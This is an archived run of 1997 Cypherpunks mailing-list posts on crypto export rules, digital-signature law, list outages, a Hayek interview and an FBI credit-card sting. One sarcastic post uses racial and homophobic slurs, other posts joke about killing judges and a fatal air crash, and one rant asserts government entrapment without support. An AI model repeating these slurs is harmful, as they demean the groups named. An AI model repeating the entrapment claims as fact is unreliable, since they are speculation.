> The ISBN system was established in 1968 as a standard for books and 
other monographic publications. Today, the scope of the system has 
expanded to include other media such as calendars, spoken word 
audiocassettes, videocassettes and electronic media.
> 
> Might this direction a legally fruitful way to overturn the EAR
  fiction?

  Certainly, as long as a challenge is not mounted by a terroist,
pedophile, drug-dealer, cryptographer, nigger, queer, or <shudder>
<barf> LIBERAL.

  Not that I'm getting cynical in my old age, but if one wants to
make a true difference in this regard they might consider foregoing
the usual legal challenges and punching out their spouse's lover
on the Jerry Springer show.
  Nixon was framed!

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <eff@dev.null>
Date: Sat, 22 Nov 1997 10:18:14 +0800
To: cypherpunks@toad.com
Subject: Factoring a 2048 bit key
In-Reply-To: <4a1a277e757631dec78e33b98a7bdfcb@anon.efga.org>
Message-ID: <3475F6BE.7C04@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:
> 
> I factored a 2048 bit key and all I got was
> Jerry Springers' "Too Hot for Television"
> videocassette and this bumber sticker,
> "I Brake For Illegal Immigrants"

I factored it and got:
> "I want to kill judges."
>
> - Tim May

Go figure...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 22 Nov 1997 11:52:10 +0800
To: cryptography@c2.net
Subject: Good recent books on encryption, privacy, etc.?
Message-ID: <v04002704b09b99c65b9c@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: ddfr@shell9.ba.best.com
Mime-Version: 1.0
Date:         Wed, 19 Nov 1997 18:39:58 -0800
Reply-To: Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
Sender: Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
From: david friedman <ddfr@BEST.COM>
Subject:      Good recent books on encryption, privacy, etc.?
To: CYBERIA-L@LISTSERV.AOL.COM

I am getting ready to teach my seminar on Computers, Crime and Privacy
again, and wondering if there is something new that I should substitute for
_Building in Big Brother_. Are there any recent books that have a
reasonably accessible treatment of encryption, the controversy over
regulation, etc.? For that matter, are there any good recent books on
computer crime?

I may end up simply substituting in a lot of URL's, but I thought it was
probably worth including some old technology as well, if available.

David Friedman
Professor of Law
Santa Clara University
ddfr@best.com
http://www.best.com/~ddfr/

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 22 Nov 1997 11:51:51 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <4a1a277e757631dec78e33b98a7bdfcb@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



I factored a 2048 bit key and all I got was 
Jerry Springers' "Too Hot for Television"
videocassette and this bumber sticker,
"I Brake For Illegal Immigrants"

  -Joe7





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 22 Nov 1997 10:08:48 +0800
To: cypherpunks@cyberpass.net
Subject: State Department Advisory Group
Message-ID: <v0400270eb09b9c24e9fd@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



I'm surprised they don't want a sperm sample, too.

Ooops. That's right. Sexism...

Cheers,
Bob Hettinga

--- begin forwarded text


X-Sender: aboss@vm.temple.edu
Mime-Version: 1.0
Date:         Thu, 20 Nov 1997 10:15:31 -0500
Reply-To: Digital Signature discussion <DIGSIG@VM.TEMPLE.EDU>
Sender: Digital Signature discussion <DIGSIG@VM.TEMPLE.EDU>
From: Amelia Boss <ABOSS@VM.TEMPLE.EDU>
Subject:      State Department Advisory Group
To: DIGSIG@VM.TEMPLE.EDU

The meeting of the State Department Advisory Committee on Private
International Law Study Group on Electronic Commerce will be held from 10am
to 5pm Monday December 15 and 9am to 5pm on Tuesday December 16 in
Washington DC.

The meeting will be held at the Department of State, Conference Room 1107.
Use the 21st and D Street entrance.

To expedite admission for those of you wishing to attend, please provide
your name, affiliation, address, telephone number, date of birth and social
security number by close of business, Wednesday, December 10.  Please provide
this information to the Office of the Legal Adviser (L/PIL), Department of
State, Suite 355 South Building, 2430 E Street NW, Washington DC
20037-2800, fax 202-776-8482, or by telephone 202-776-8420, attention
Rosalie Gonzales.

Hotel Accommodations:  There are two hotels that have agreed to offer, on a
space-available basis, rooms at the government rate ($108/single;
128/double).  However, you must advise the hotel when making arrangements
that you are a State Department invitee and that the government rate should
be applied.  They, in turn, will contact the L/PIL to verify
(authenticate?) that you are on the list of attendees, so please make sure
that you have followed the procedures in the previous paragraph.

The two hotels are the Windham Bristol Hotel at 2430 Pennsylvania Avenue NW
(walking distance to State and two blocks from Foggy Bottom metro)
[202-955-6400; fax 202-955-5765] and the State Plaza Hotel at 2117 E Street
NW (across from the State Department) [phone 202-861-8200; fax 202-659-8601].

Hope to see many of you there.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian W. Buchanan" <brian@smarter.than.nu>
Date: Sat, 22 Nov 1997 11:52:18 +0800
To: cypherpunks@cyberpass.net
Subject: What REALLY happened to Flight 800...
Message-ID: <Pine.BSF.3.96.971121151429.349B-100000@thought.calbbs.com>
MIME-Version: 1.0
Content-Type: text/plain



Algebra.com is down, so I'm resending this through cyberpass.  Gotta love
distributed mailing lists.

---------- Forwarded message ----------
Date: Thu, 20 Nov 1997 21:50:36 -0800 (PST)
From: "Brian W. Buchanan" <brian@smarter.than.nu>
To: cypherpunks@algebra.com
Subject: What REALLY happened to Flight 800...

>From comp.risks:
| An article `Windows added to cockpit choices' in Flight International, 5-11
| November 1997, p 25, explains that the US company Avidyne has certificated
| an avionics system based on Windows NT.  The hardware supplier is Electronic
| Designs, who has recently received approval from the FAA (approval for what
| is not specified). Avidyne is apparently working on Level-C approval, which 
| will allow use of its moving-map display for IFR navigation. One of the 
| benefits is said to be the wide range of interfaces available to other 
| devices. 

 
"Good afternoon, Microsoft technical support."

"This is TWA Flight 800.  Our avionics system just shit itself!  Something
about a segmentation violation in the hydrolics interface driver!"

"Hmm.  Did you try rebooting it?"

"Yes, several times!  Losing attitude control!"

"Hmm.  This may require a reinstall of the operating system then.  Please
hold for a moment while I connect you to one of our reinstallation support
technicians."

"No! Wait!  The center fuel tank's thermostat control dialog is full of
random garbage now!  *SCREAM* *BOOM*"


... And in today's news, despite a leaked report from the NTSB that it was
not "digital sabotage," but a critical bug in Microsoft Windows NT for
Avionics that was responsible for the crash of TWA Flight 800, President
Clinton has asked Congress to introduce legislation that would enable the
FBI to monitor so-called computer hackers more carefully through digital
wiretaps and mandatory key escrow, to "save the children from the
info-terrorists on the other side of the Bridge to the Twenty-First
Century."  Microsoft is not commenting at this time, but a source within
the company has informed us that a fix for the "center fuel tank bug" will
be included in NT for Avionics Service Pack 4, to be released in the first
quarter of 1998.

-- 
Brian Buchanan                                      brian@smarter.than.nu
"War is peace.  Freedom is slavery.  I'm from the government, and I'm here
 to help you."
No security through obscurity!  Demand full source code!
4.4BSD for the masses - http://www.freebsd.org






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 22 Nov 1997 11:52:24 +0800
To: cypherpunks@cyberpass.net
Subject: HAYEKWEB: M Friedman Interview on Hayek & The Road to Serfdom
Message-ID: <v04002722b09ba006d369@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date:         Thu, 20 Nov 1997 23:17:30 -0500
Reply-To: Hayek Related Research <HAYEK-L@MAELSTROM.STJOHNS.EDU>
Sender: Hayek Related Research <HAYEK-L@MAELSTROM.STJOHNS.EDU>
From: Greg Ransom <Gregransom@AOL.COM>
Subject:      HAYEKWEB: M Friedman Interview on Hayek & The Road to Serfdom
To: HAYEK-L@MAELSTROM.STJOHNS.EDU

>>  Hayek on the Web  <<

C-SPAN 'Booknotes' Interview with Milton Friedman
on Friedrich Hayek and his _The Road to Serfdom_.

On the Web at:

 http://www.c-span.org/mmedia/booknote/lambbook/transcripts/50060.htm

Excerpt:

"Booknotes Transcript

Author: Milton Friedman
Title: Introduction to F. A. Hayek's "The Road to Serfdom"
Air date: November 20, 1994

BRIAN LAMB: Dr. Milton Friedman, why did you choose or why did they ask
you to write the introduction to the F. A. Hayek "Road to Freedom" 50th
anniversary ...

MILTON FRIEDMAN: ""Road to Serfdom"."

LAMB: Yes, that's your title on your book. Why did you do it?

FRIEDMAN: The reason they asked me was very clear, because Hayek and I
had been associated for a very long time, in particular in an organization
called the
Montbelleron Society that he founded. The charter meeting was in 1947 in
Switzerland. Hans Morgenthau, who was a professor at the University of
Chicago when I was there, a political scientist, when I came back from the
meeting, he asked me where I had been, and I told him that I had been to a
meeting that had been called by Hayek to try to bring together the believers
in a
free, open society and enable them to have some interchange, one with
another.
He said, "Oh, a meeting of the veterans of the wars of the 19th century!" I
thought
that was a wonderful description of the Montpelleron Society.

Well, Hayek and I worked together in the Montpelleron Society and we were
fostering essentially the same set of ideas. His "Road to Serfdom" book, the
one
you have there, which was published 50 years ago, was really an amazing event
when it came out. It's very hard to remember now what the attitude was in
1944-45. Throughout the Western world, the movement was toward
centralization, planning, government control. That movement had started
already
before World War II. It started really with the Fabian Society back in the
late
19th century -- George Bernard Shaw, the Webbs and so on. But the war itself
and the fact that in war you do have to have an enormous amount of government
control greatly strengthened the idea that after the war what you needed was
to
have a rational, planned, organized, centralized society and that you had to
get rid
of the wastes of competition. That was the atmosphere.

Those of us who didn't agree believed in what we would call a liberal
society, a
free society -- 19th century liberalism. There were quite a number of us in
the
United States and in Britain, but in the rest of the world they were very
isolated,
indeed. Hayek's idea was to bring them together and enable them to get
comfort
and encouragement from one another without having to look around to see who
was trying to stab them in the back, which was the situation in their home
countries.

LAMB: The New York Times put on the Op-Ed page your introduction to this
edition. Do you know why they did that? What got their attention?

FRIEDMAN: I can't answer that. You'd have to ask the people at the New York
Times. On the whole, they have in the past not been very favorable to these
ideas
-- quite the contrary -- but they've been changing. About two or three years
ago,
they published -- they've turned down many an Op-Ed piece from me, which I
subsequently published in the Wall Street Journal or somewhere else. But a
couple of years ago, they did publish an Op-Ed piece from me about the
situation
after the fall of the Berlin Wall, in which my thesis was a very simple one.
Everybody agrees, as a result of the experience in the West, that socialism
has
been a failure. Everybody agrees that capitalism has been a success, that
wherever you have had an improvement in the conditions of the ordinary people
over any lengthy time, it's been in a capitalist society, and yet everybody
is
extending socialism.

After the fall of the Berlin Wall, there were no summits in Washington about
how
we cut down government. The lesson from the fall of the Berlin Wall was that
we
have too extensive a government and we ought to cut it down. Everybody
agrees,
but yet wherever you go, we have to extend socialism. The summit in
Washington
was about how you enable government to get more revenue in order for
government to be more important, which is exactly the opposite. So socialism
guides our behavior in strict contrast to what we believe to be the facts of
the
world.

LAMB: Let me ask you a little bit more about Friedrich Hayek. Who was he?

FRIEDMAN: Fritz Hayek was an economist. He was born in Vienna. He started
his professional career in Vienna. In the late 1920s, some people in Britain
at the
London School of Economics were very greatly impressed with the book he had
written and with the work he had done, and they invited him to come to the
London School. At a relatively young age, he became a professor at the London
School of Economics. He spent the 30s and most of the 40s there. Early in the
1950s, he left London and came to the University of Chicago where he was a
professor for about 10 years, and then he went back to Germany. He
essentially
retired to the University of Freiberg in Germany.

LAMB: How long has he been dead?

FRIEDMAN: He's been dead about two years now, I think. He lived to be 90,
and he has an enormous list of books and articles and so on he has published.
The "Road to Serfdom," the one we're showing here, was a sort of manifesto
and
a call to arms to prevent the accumulation of a totalitarian state. One of
the
interesting things about that book is whom it's dedicated to. It's dedicated
"to the
socialists of all parties," because the thesis of the book is that socialism
is paving
the way toward totalitarianism and that Socialist Russia, at the time, is not
different from Nazi Germany. Indeed, it was National Socialism -- that's
where
"nazi" comes from.

This was a kind of manifesto and had a very unexpected effect. It was turned
down by several publishers in the United States before the University of
Chicago
published it, and both in Britain and the United States, it created something
of a
sensation. It was a best-seller. The Reader's Digest published a condensation
of it
and distributed 600,000 copies. You had a big argument raising about people
who were damning it as reactionary against all the good things of the world
and
people who were praising it and showing what the real status was.

It's a book well worth reading by anybody because there's a very subtle
analysis
of why it is that well-meaning people who intend only to improve the lot of
their
fellows tend to favor courses of action which have exactly the opposite
effect. I
think from my point of view the most interesting chapter in that book is one
labeled "Why the Worst Get on Top." It's, in a way, another example of the
famous statement of Lord Acton that "power corrupts and absolute power
corrupts absolutely.""


Hayek on the Web is a regular feature of the Hayek-L list.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Electronic Forgery Foundation <eff@dev.null>
Date: Sat, 22 Nov 1997 11:52:13 +0800
To: rah@shipwright.com
Subject: [Fwd: [cpe:4980] Factoring a 2048 bit key]
Message-ID: <34760055.6252@dev.null>
MIME-Version: 1.0
Content-Type: text/plain

Mr. Hettinga,
  The Electronic Forgery Foundation's legal counsel informs us that,
as hypocrites, we have a right to sue you for elevation of character
for forging posts in our name (even if we did it ourselves when we
were drunk and later forgot about it).
  If our legal counsel confirms this opinion once she sobers up, you
can expect to hear from us upon her graduation from law school. (She
is currently in Grade Six, so there is no rush for you to consult your
own attorney on this matter.)

Insincerely,
Jess Fission
Robert Hettinga Alternate Persona Appointee,
Electronic Forgery Foundation


Subject: [cpe:4980] Factoring a 2048 bit key
From: Robert Hettinga <eff@dev.null>
Date: Fri, 21 Nov 1997 15:01:50 -0600
Delivered-To: mailing list cypherpunks-e@htp.org
Mailing-List: contact cypherpunks-e-help@htp.org; run by ezmlm
Organization: "Electronic Forgery Foundation"
References: <4a1a277e757631dec78e33b98a7bdfcb@anon.efga.org>
Reply-To: cypherpunks@cyberpass.net
Reply-To: eff@dev.null
Sender: cypherpunks-e-owner@htp.org
Sender: owner-cypherpunks@toad.com

Anonymous wrote:
> 
> I factored a 2048 bit key and all I got was
> Jerry Springers' "Too Hot for Television"
> videocassette and this bumber sticker,
> "I Brake For Illegal Immigrants"

I factored it and got:
> "I want to kill judges."
>
> - Tim May

Go figure...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 22 Nov 1997 10:04:57 +0800
To: cypherpunks@cyberpass.net
Subject: H.R. 2991 The Electronic Commerce Enhancement Act  (fwd)
Message-ID: <v04002733b09ba3b5b109@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: Thu, 20 Nov 1997 18:18:50 -0500 (EST)
From: Frank Sudia <aurelius@panix.com>
To: Digital Commerce Society of Boston <dcsb@ai.mit.edu>
Subject: H.R. 2991 The Electronic Commerce Enhancement Act  (fwd)
MIME-Version: 1.0
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Frank Sudia <aurelius@panix.com>

>From the Am Bar Assn d/s list...

---------- Forwarded message ----------
Date: Thu, 20 Nov 1997 13:57:18 -0500
From: "Bennett, Daniel" <Daniel.Bennett@mail.house.gov>
To: "'st-isc@abanet.org'" <st-isc@abanet.org>
Subject: H.R. 2991 The Electronic Commerce Enhancement Act

Rep. Anna Eshoo (D-CA) and Rep. W.J. (Billy) Tauzin (R-LA) have introduced
the Electronic Commerce Enhancement Act (H.R. 2991), which would instruct
federal agencies to make versions of their forms available online and
allow people to sign the forms using digital signatures--the online
equivalent of written signatures.  At present, only some government
documents are available online, and most agencies accept only physical
signatures to verify the authenticity of forms sent to them.  Rep. Eshoo
serves on the House Commerce Subcommittee on Telecommunications, Trade,
and Consumer Protection, which is chaired by Rep. Tauzin.

>Bill Text is at
>http://thomas.loc.gov/cgi-bin/query/z?c105:H.R.2991:
>Bill Summary is at
>http://thomas.loc.gov/cgi-bin/bdquery/z?d105:h.r.02991:
Rep. Anna Eshoo
http://www-eshoo.house.gov/
Rep. Billy Tauzin
http://www.house.gov/tauzin/

Daniel Bennett
Technology Liaison
Rep. Anna Eshoo
308 Cannon Building
Washington, DC 20515
(202) 225-8104
http://www-eshoo.house.gov/
daniel.bennett@mail.house.gov

--------------------------------------------------------------
	Frank W. Sudia, Consultant, Strategic Ventures
	1 Bankers Trust Plaza, MS 2371, New York, NY 10006
	Tel: 212-250-5242  Fax: 212-250-9347  Home: 212-786-1356
	frank.sudia@bankerstrust.com
--------------------------------------------------------------



For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Harka <root@localhost.nycmetro.com>
Date: Sat, 22 Nov 1997 10:05:24 +0800
To: cypherpunks@Algebra.COM
Subject: spy_1.html
Message-ID: <199711211736.RAA00139@localhost.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain




                             Reuters New Media
                                      
                      [Click here for MCA Home Video]
                                      
                    [ Yahoo | Write Us | Search | Info ]
                                      
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
     _________________________________________________________________
   
   Previous Story: Crocodile attacks man, gets poked in the eyes
   Next Story: Mantle auction to proceed with lock of hair
     _________________________________________________________________
   
   Friday November 21 4:56 PM EST 
   
Spy cameras -- latest motivational tool?

   SINGAPORE (Reuters) - A Singapore firm is selling what it says is the
   latest motivational tool to get the best from staff -- spy cameras.
   
   "Productivity really does go up with this system. You see a very quick
   return on your investment in any business," said Jeffrey Tan, whose
   company ABC Asia Pacific markets 'Spy Eyes'.
   
   "It is a deterrent for staff who are lazy or who might want to steal
   from the cash register," he said.
   
   Tan told Reuters Friday he became the Asian distribution agent for the
   U.S.-made Spy Eyes camera surveillance system after installing it at
   his own firm to halt sliding sales and cut staff turnover.
   
   The system can achieve the latter effect by showing bosses that their
   staff is indeed working -- or has few customers to sell to -- and thus
   reduce unjustified management complaints.
   
   Tan has already sold at least 10 systems, which can also be fitted at
   homes for those who want to make sure the thousands of domestic maids
   employed in Singapore work hard on household chores while their
   employers are at the office.
   
   Costing about Singapore $3,500 (US$2,200) for a single camera starter
   system, Tan said he was running a special introductory offer for a
   free second camera for people who wanted to be in more than two places
   at once.
   
   "It's a helpful tool for people who want to stay in control," Tan
   said.
     _________________________________________________________________
                                      
                 ________________________ Search News Help
     _________________________________________________________________
   
   Previous Story: Crocodile attacks man, gets poked in the eyes
   Next Story: Mantle auction to proceed with lock of hair
   
                      [Click here for MCA Home Video]
     _________________________________________________________________
   
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
     _________________________________________________________________
   
                              Reuters Limited
                                      
                                      
    Questions or Comments





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: landon dyer <landon@best.com>
Date: Sat, 22 Nov 1997 10:06:20 +0800
To: phelix@vallnet.com
Subject: Re: List still active???
In-Reply-To: <347f04dc.72285257@128.2.84.191>
Message-ID: <3.0.3.32.19971121174652.00a5a1c0@shell9.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:05 PM 11/21/97 GMT, you wrote:
>I know that the listserver at algebra.com is down.  Are the other servers
>still working?  Is anybody out there? 

  cyberpass.net is up

  algebra.com doesn't respond to pings, at least to me.  look at the
following tracert (forgive the line breaks):


----

% tracert algebra.com
  1    78 ms   140 ms    63 ms  pm07.san-jose.best.net [206.184.171.97]
  2    62 ms    78 ms    94 ms  core1-ether0-1.san-jose.best.net
[206.184.171.65]
  3     *       63 ms    78 ms  core1-hssi9-0-0.mv.best.net [206.86.228.117]
  4    63 ms    93 ms    79 ms  sl-gw2-sj-1-0.sprintlink.net [144.228.111.5]
  5    62 ms    94 ms    78 ms  144.232.88.1
  6    78 ms    94 ms   109 ms  sl-bb1-ana-6-1-0-T3.sprintlink.net
[144.232.8.6]
  7    94 ms    93 ms    94 ms  sl-bb3-ana-0-0-0-155M.sprintlink.net
[144.232.1.77]
  8    94 ms   125 ms   109 ms  sl-bb2-fw-1-0-0.sprintlink.net [144.232.8.49]
  9   110 ms   125 ms   125 ms  sl-gw8-fw-0-0.sprintlink.net [144.228.30.12]
 10   110 ms   140 ms   125 ms  sl-galaxys-1-0-T1.sprintlink.net
[144.228.132.14]
 11   110 ms   125 ms   172 ms  207.13.124.254
 12   297 ms   281 ms   266 ms  star9731.galstar.com [207.13.97.31]
 13   282 ms   281 ms   297 ms
sprint-T1.s0.cisco.okc.galstar.com.97.13.207.IN-
ADDR.ARPA [207.13.97.254]
 14   407 ms   422 ms   563 ms  star9731.galstar.com [207.13.97.31]
 15   579 ms   437 ms   500 ms
sprint-T1.s0.cisco.okc.galstar.com.97.13.207.IN-
ADDR.ARPA [207.13.97.254]
 16   593 ms   672 ms   703 ms  star9731.galstar.com [207.13.97.31]
 17   657 ms   656 ms   719 ms
sprint-T1.s0.cisco.okc.galstar.com.97.13.207.IN-
ADDR.ARPA [207.13.97.254]
 18   782 ms   765 ms   797 ms  star9731.galstar.com [207.13.97.31]
 19   750 ms   781 ms     *
sprint-T1.s0.cisco.okc.galstar.com.97.13.207.IN-
ADDR.ARPA [207.13.97.254]
 20  1125 ms   875 ms  1016 ms  star9731.galstar.com [207.13.97.31]
 21   984 ms   937 ms  1047 ms
sprint-T1.s0.cisco.okc.galstar.com.97.13.207.IN-
ADDR.ARPA [207.13.97.254]
 22  1015 ms  1094 ms  1188 ms  star9731.galstar.com [207.13.97.31]
 23  1094 ms  1094 ms  1172 ms
sprint-T1.s0.cisco.okc.galstar.com.97.13.207.IN-
ADDR.ARPA [207.13.97.254]
 24  1281 ms  1375 ms  1250 ms  star9731.galstar.com [207.13.97.31]
 25  1344 ms  1266 ms  1219 ms
sprint-T1.s0.cisco.okc.galstar.com.97.13.207.IN-
ADDR.ARPA [207.13.97.254]
 26  1406 ms  1422 ms  1375 ms  star9731.galstar.com [207.13.97.31]
 27  1547 ms  1406 ms  1406 ms
sprint-T1.s0.cisco.okc.galstar.com.97.13.207.IN-
ADDR.ARPA [207.13.97.254]
 28  1563 ms  1609 ms  1688 ms  star9731.galstar.com [207.13.97.31]
 29  1563 ms  1640 ms  1500 ms
sprint-T1.s0.cisco.okc.galstar.com.97.13.207.IN-
ADDR.ARPA [207.13.97.254]
 30  1672 ms  1672 ms  1844 ms  star9731.galstar.com [207.13.97.31]


---

  either sprint or galstar has their act untogether


-landon





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Sat, 22 Nov 1997 11:52:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: following cypher algorithm ?
In-Reply-To: <199711210653.HAA04352@basement.replay.com>
Message-ID: <3.0.3.32.19971121175104.0325e86c@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 07:53 AM 11/21/97 +0100, Anonymous wrote:
>
>Does anybody know following cypher algorithm ?
>
>Symmetric cipher : BATON , JUNIPER 
>Public key cipher : KEA , MAYFLY

Nobuki Nakatuji should have his posts translated into English by John
Young if he truly wishes to remain anonymous.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQA+AwUBNHY6hsJF0kXqpw3MEQI9jwCgnFtflJRXVaPZl7TIDvjWGOAPANMAl22x
mORvOhFRLHn3QJfcHuPylcM=
=AfOc
-----END PGP SIGNATURE-----


Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

Never sign a contract that contains the phrase "first-born child."

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Janet Reamhole <jr@dev.null>
Date: Sat, 22 Nov 1997 10:44:26 +0800
To: cypherpunks@toad.com
Subject: For Blanc's Eye's Only  (WAS: "I got there just in time...")
Message-ID: <34761E6C.7DCC@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



[A very revealing series of articles at:]
http://cnet.com/Content/Features/Dlife/Finest/

The next day the San Diego ISP was contacted by someone "who knew
the hacker had been in their system," says George Vinson, assistant
special agent in charge of the San Francisco office of the FBI. "He told
the ISP the hacker's handle, and said Smak had a lot of credit card
numbers for sale." 

That third party became the FBI's cooperating witness.

  Any bets that the 'cooperating witness' who showed up 'out of
the blue' was already a government instigator/snitch?

Sources close to the investigation say the hacker used PGP, or
Pretty Good Privacy, a powerful encryption tool available as freeware on
the Internet and in commercial retail versions, to encrypt his
communications. Although encryption often makes the FBI's job even
tougher, in this case, Smak's use of encryption created an opportunity
for
the FBI to gain greater control over the sting. 

  Bullshit. Any government agency who is able to access a user's
computer via search warrant/surrepticious entry/cooperating 
accomplice, can compromise the target's encryption 99.9% of the
time.
  Has the government ever provided a *single*instance* where
inability to access encrypted files impeded a prosecution?
The ratfuckers just want to 'Go Fish' through our private lives
at will, and then go get legal authorization to pretend to
newly discover their illegally acquired information.

Unlike hackers whose main goal is to brag about their technological
prowess, Smak was selling a huge volume of credit card numbers to
criminals. 

  Right...
  It this was the Truth (TM) as opposed to horseshit, the public
would be privy to all the details of the horrendous range of his
crimes, in order to bolster the government's agenda.
  "The encryption-using hacker also murdered fifty world leaders,
but we have no information available on the details at this time.
and never will."

>From May 2, 1997, until the dramatic meeting at the airport three weeks
later, Smak and the confidential witness exchanged more than 50 email
messages.

  Let's see. The government allowed Smak to sell "a huge volume 
of credit card numbers to criminals" for three weeks--for what
purpose?
  To build a case for conviction? When they already had a 
"confidential witness" who had knowledge of Smak's crimes?
  Bullshit. The government agents needed three weeks to 
encourage and abet Smak in becoming a criminal and committing
crimes as a result of government influence.

Unbeknownst to Smak, his messages to the witness were
received at a computer controlled by the FBI, and recorded and
maintained as evidence. "Only the FBI could access the email encrypted
by Smak," says Agent Dalrymple. The cooperating witness "didn't have
the password or the ability to access the information." 

  Barf City! Give a retarded kid access to someone's computer
and they can bust it wide open in a matter of hours.

Controlling the encryption key and the password gave the FBI
confidence that it was building an airtight case. "That way we had clean
messages," says Dalrymple. "They couldn't be adulterated in any way. By
law we can prove they were his messages." 

  If the law *required* the FBI to prove that the messages *could*
have been adulterated, and that they *weren't* Smak's messages, in
order to convict him, they would have called cypherpunks, hackers
and phreaks to 'prove' it to be so.

Visa USA's fraud control team, which worked with the FBI on the
investigation, said Salgado had compromised 86,326 credit card
accounts affecting 1,214 different financial institutions. 
The potential loss: as much as $1 billion.

  Right. Bigger than the S&L crisis.
  "In addition, he was in possession of a single joint of
marihuana, which has a street-value of $2 billion on the
planet Venus."

The case also sends an important message to companies that get 
hacked: they can cooperate in an investigation without revealing 
their vulnerability.
"These guys pulled off a major case without compromising the names of
the victim companies," Vinson notes proudly. 

  Uuhhhh. These ratfuckers allowed and encouraged Smak, for a
period of at least three weeks, to "compromise" the credit cards
of more and more people, so that they could build a major bust.
Yet, since they protected the financial institutions from having
the truth exposed about their inability to protect the privacy
and security of their customers, the FBI ratfuckers are busting
their buttons with pride.

  I once saw a news interview with the boyfriend of a woman 
who had been stabbed in the face with a screwdriver in an
attempted rape:
  "When I arrived, he had already stabbed her in the face
several times with the screwdriver, but he hadn't raped her,
yet. I got there just in time..."
  NEWS FLASH!!! - You got there a little bit late, pal.
You got there a little late...


  I could catch those guys flying planeloads containing tons
of drugs into the country, if only I was allowed to invade
the privacy of everyone in the world and hold lighted cigarettes
against the skin of their newborn children.

  I strangled Vincent Foster, but he didn't exhale...

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 22 Nov 1997 10:03:23 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [cpe:5005] Further Costs of War
In-Reply-To: <199711212302.AAA19454@basement.replay.com>
